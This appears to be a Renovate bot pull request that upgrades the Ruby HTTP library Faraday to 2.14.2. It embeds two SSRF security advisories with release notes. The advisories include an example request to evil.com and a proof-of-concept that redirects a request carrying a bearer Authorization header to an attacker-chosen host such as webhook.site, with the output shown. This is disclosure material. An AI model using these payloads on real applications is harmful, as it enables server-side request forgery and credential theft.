Skip to content

Update dependency faraday to v2.14.2 [SECURITY]#346

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/rubygems-faraday-vulnerability
Open

Update dependency faraday to v2.14.2 [SECURITY]#346
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/rubygems-faraday-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Feb 10, 2026 •
edited
Loading

This PR contains the following updates:

Package Change Age Confidence
faraday (source, changelog) '2.8.1' → '2.14.2' age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

CVE-2026-25765 / GHSA-33mh-2634-fwr2

More information

Details

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #​1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:

  • Reject or strip input that starts with // followed by a non-/ character
  • Use an allowlist of permitted path prefixes
  • Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Severity

  • CVSS Score: 5.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping

CVE-2026-33637 / GHSA-5rv5-xj5j-3484

More information

Details

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component
  • Repository File(s)/Endpoint(s):
    • lib/faraday/connection.rb
    • lib/faraday/request.rb
    • spec/faraday/connection_spec.rb
    • spec/faraday/request_spec.rb
  • Function(s):
    • Faraday::Connection#build_exclusive_url
    • Faraday::Connection#run_request
    • Faraday::Request#url
    • Faraday::Request#to_env
  • Version(s) Tested:
    • Faraday 2.14.1
    • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
Attacker Profile
  • Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
  • Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
  • Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")
Steps to Reproduce
  1. Use the current repository checkout and load Faraday from lib/.
  2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
  3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
  4. Observe that the connection-scoped Authorization header remains attached to the off-host request.
Verification Evidence
  • Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
  • Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
  • PoC code (inline):
require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body
  • Exit code: 0
  • stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
  • stderr (relevant excerpt):
N/A
  • Artifacts: none
Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status

##### => 200
resp.url.host

##### => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials
  • Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
  • Existing CVE for the original string-based issue: CVE-2026-25765
  • Existing regression tests for the string-only fix:
    • spec/faraday/connection_spec.rb:314-345
  • Existing test proving supported URI request input:
    • spec/faraday/request_spec.rb:26-31
Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the
connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Severity

  • CVSS Score: 0.0 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

lostisland/faraday (faraday)

v2.14.2

Compare Source

Security Note

This release contains a security fix, we recommend all users to upgrade as soon as possible.
A Security Advisory with more details will be posted shortly.

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.14.1...v2.14.2

v2.14.1

Compare Source

Security Note

This release contains a security fix, we recommend all users to upgrade as soon as possible.
A Security Advisory with more details will be posted shortly.

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.14.0...v2.14.1

v2.14.0

Compare Source

What's Changed

New features ✨
Fixes 🐞
Misc/Docs 📄

New Contributors

Full Changelog: lostisland/faraday@v2.13.4...v2.14.0

v2.13.4

Compare Source

What's Changed

Full Changelog: lostisland/faraday@v2.13.3...v2.13.4

v2.13.3

Compare Source

What's Changed

Full Changelog: lostisland/faraday@v2.13.2...v2.13.3

v2.13.2

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.13.1...v2.13.2

v2.13.1

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.13.0...v2.13.1

v2.13.0

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.12.3...v2.13.0

v2.12.3

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.12.2...v2.12.3

v2.12.2

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.12.1...v2.12.2

v2.12.1

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.12.0...v2.12.1

v2.12.0

Compare Source

What's Changed

New features ✨
  • Make RaiseError middleware configurable to not raise error on certain status codes (e.g. 404) by @​clemens in #​1590
Fixes 🐞
Misc/Docs 📄

New Contributors

Full Changelog: lostisland/faraday@v2.11.0...v2.12.0

v2.11.0

Compare Source

What's Changed

This release adds support for the ciphers SSL option (currently supported by the net_http adapter in v3.3+), as well as taking advantage of the support of chained certificates introduced in the net_http adapter in v3.2.
Also, it adds a new ParallelManager#execute interface that improves on the existing one and makes it easier for adapters to support parallel requests. This is currently used by the async-http adapter.

New features ✨
Misc/Docs 📄

New Contributors

Full Changelog: lostisland/faraday@v2.10.1...v2.11.0

v2.10.1

Compare Source

What's Changed

Full Changelog: lostisland/faraday@v2.10.0...v2.10.1

v2.10.0

Compare Source

What's Changed

This release introduces support for middleware-level default_options 🎉
You can read more about it in the docs.

New features ✨
  • Introduce Middleware DEFAULT_OPTIONS with Application and Instance Configurability by @​ryan-mcneil in #​1572
Bug Fixes 🐞
Misc/Docs 📄

New Contributors

Full Changelog: lostisland/faraday@v2.9.2...v2.10.0

v2.9.2

Compare Source

What's Changed

Bug Fixes 🐞

New Contributors

Full Changelog: lostisland/faraday@v2.9.1...v2.9.2

v2.9.1

Compare Source

What's Changed

New features ✨
Bug Fixes 🐞
Misc/Docs 📄

New Contributors

Full Changelog: lostisland/faraday@v2.9.0...v2.9.1

v2.9.0

Compare Source

What's Changed

NOTE: This release removes support for Ruby 2.6 and 2.7, making Ruby 3.0 the minimum version.

New Contributors

Full Changelog: lostisland/faraday@v2.8.1...v2.9.0

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot requested review from a team as code owners February 10, 2026 03:43
@renovate renovate Bot force-pushed the renovate/rubygems-faraday-vulnerability branch 2 times, most recently from 476e542 to 0229f68 Compare February 12, 2026 12:47
@renovate renovate Bot force-pushed the renovate/rubygems-faraday-vulnerability branch 2 times, most recently from 6c27520 to 76cdc33 Compare February 18, 2026 07:43
@renovate renovate Bot force-pushed the renovate/rubygems-faraday-vulnerability branch from 76cdc33 to 2032031 Compare March 9, 2026 15:13
@renovate renovate Bot changed the title chore(deps): update dependency faraday to v2.14.1 [security] chore(deps): update dependency faraday to v2.14.1 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/rubygems-faraday-vulnerability branch March 27, 2026 02:49
@renovate renovate Bot changed the title chore(deps): update dependency faraday to v2.14.1 [security] - autoclosed chore(deps): update dependency faraday to v2.14.1 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/rubygems-faraday-vulnerability branch 2 times, most recently from 2032031 to e31cb31 Compare March 30, 2026 19:08
@sonarqubecloud
Copy link
Copy Markdown

sonarqubecloud Bot commented Mar 30, 2026

Quality Gate Passed Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

@renovate renovate Bot changed the title chore(deps): update dependency faraday to v2.14.1 [security] Update dependency faraday to v2.14.1 [SECURITY] Apr 8, 2026
@renovate renovate Bot force-pushed the renovate/rubygems-faraday-vulnerability branch 7 times, most recently from 48d58f2 to 4e321c3 Compare April 21, 2026 08:21
@renovate renovate Bot changed the title Update dependency faraday to v2.14.1 [SECURITY] Update dependency faraday to v2.14.1 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title Update dependency faraday to v2.14.1 [SECURITY] - autoclosed Update dependency faraday to v2.14.1 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/rubygems-faraday-vulnerability branch 2 times, most recently from 4e321c3 to 7d48879 Compare April 27, 2026 20:08
@sonarqubecloud
Copy link
Copy Markdown

sonarqubecloud Bot commented Apr 27, 2026

Quality Gate Passed Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

@sonarqubecloud
Copy link
Copy Markdown

sonarqubecloud Bot commented Apr 27, 2026

Quality Gate Passed Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

@renovate renovate Bot changed the title Update dependency faraday to v2.14.1 [SECURITY] Update dependency faraday to v2.14.2 [SECURITY] May 18, 2026
@renovate renovate Bot force-pushed the renovate/rubygems-faraday-vulnerability branch from 7d48879 to de26be9 Compare May 18, 2026 22:49
@sonarqubecloud
Copy link
Copy Markdown

sonarqubecloud Bot commented May 18, 2026

Quality Gate Failed Quality Gate failed

Failed conditions
C Security Rating on New Code (required ≥ A)

See analysis details on SonarQube Cloud

Catch issues before they fail your Quality Gate with our IDE extension SonarQube for IDE

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants